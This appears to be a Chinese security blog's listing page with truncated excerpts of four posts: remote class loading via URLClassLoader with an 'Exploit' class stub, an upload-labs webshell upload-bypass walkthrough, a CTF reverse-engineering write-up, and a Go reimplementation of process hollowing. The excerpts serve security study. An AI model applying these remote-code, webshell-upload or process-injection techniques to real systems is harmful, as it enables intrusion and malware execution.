字节码通常来说就是JVM可以识别的代码文件。
URLClassLoader加载字节码正常情况下,Java会根据配置项sun.boot.class.path和java.class.path中列举到的基础路径(这些路径是经过处理后的java.net.URL类)来寻找.class文件来加载,而这个基础路径有分为三种情况:
URL未以斜杠/结尾,则认为是一个JAR文件,使用JarLoader来寻找类,即为在Jar包中寻找.class文件
URL以斜杠/结尾,且协议名是file,则使用FileLoader来寻找类,即为在本地文件系统中寻找.class文件
URL以斜杠/结尾,且协议名不是file,则使用最基础的Loader来寻找类
这里可以启动一个http服务:
1python -m http.server 80
在执行此命令的目录下放置编译好的class文件:
12345678910public class Exploit { public Exploit() throws Exception { Runtime.ge ...
最近发现文件上传有很大欠缺,遂有了这篇文章。
Pass-01
上传shell.php,这里已经打开的BP进行抓包,但是点击上传后还没拦截到包就弹窗了,说明这是一个前端校验,那么这里可以选择禁用js或者BP拦截改后缀。
Pass-02第二关检查MIME(Content-Type),那么直接BP拦截修改Content-Type请求头即可。
Pass-03
上传shell发现提示,那么选择大小写绕过,发现不行,那么试试php5。
成功上传。但是访问发现没有当成php文件进行解析。这里其实就涉及到php解析的相关知识了,虽然apache的服务器可以解析将文件作为php文件进行解释,但是这也不是绝对的。在apache的配置文件中找到:AddType application/x-httpd-php将注释解除变更为: AddType application/x-httpd-php .php .phtml .phps .php5 .pht就可以解析了。
保存然后重新载入配置文件即可解析该文件。
Pass-04看一眼源码:
123456789101112131415161718192021222 ...
“科来杯”第十届山东省大学生网络安全技能大赛决赛-大树底下好乘凉找到关键函数
关键函数有5个,在main函数中还能知道,输入的flag存在v10中,并且是38位。深入到sub_14001132A中查看:
这里又出现了两个函数:sub_14001108C和sub_1400113D4
深入sub_14001108C中看一下
经过分析,这个函数就是递归创建树的一个函数。
sub_1400113D4而这个函数只有input[0]才会调用创建节点所以树创建出来应该如下图所示:
左支存放1,3,5,7,9.....奇数位,右支存放2,4,6,8.....偶数位。
接下来进入sub_1400111B8分析一下:
这个函数应该是递归读取树中的数据到dword_14001F170中,这个数组中的数据应该是
1dword_14001F170 = [input[0], input[1], input[3], input[5], input[7], input[9], input[11], input[13], input[15], input[17], input[19], input[21 ...
进程镂空又称为傀儡进程,就是替换一个正常程序的进程内存为恶意程序。进程镂空这项技术已经很熟知了,本文仅使用Go语言复现这项技术。
流程创建一个挂起的正常进程1234567891011121314151617181920212223var startupInfo windows.StartupInfovar processInfo windows.ProcessInformationappname, _ := syscall.UTF16PtrFromString("calc.exe")// 创建挂起的进程err := windows.CreateProcess( nil, appname, nil, nil, false, windows.CREATE_SUSPENDED|windows.CREATE_NEW_CONSOLE, nil, nil, &startupInfo, &processInfo,)if err != nil { fmt.Printf("Failed to create process: %v\n", ...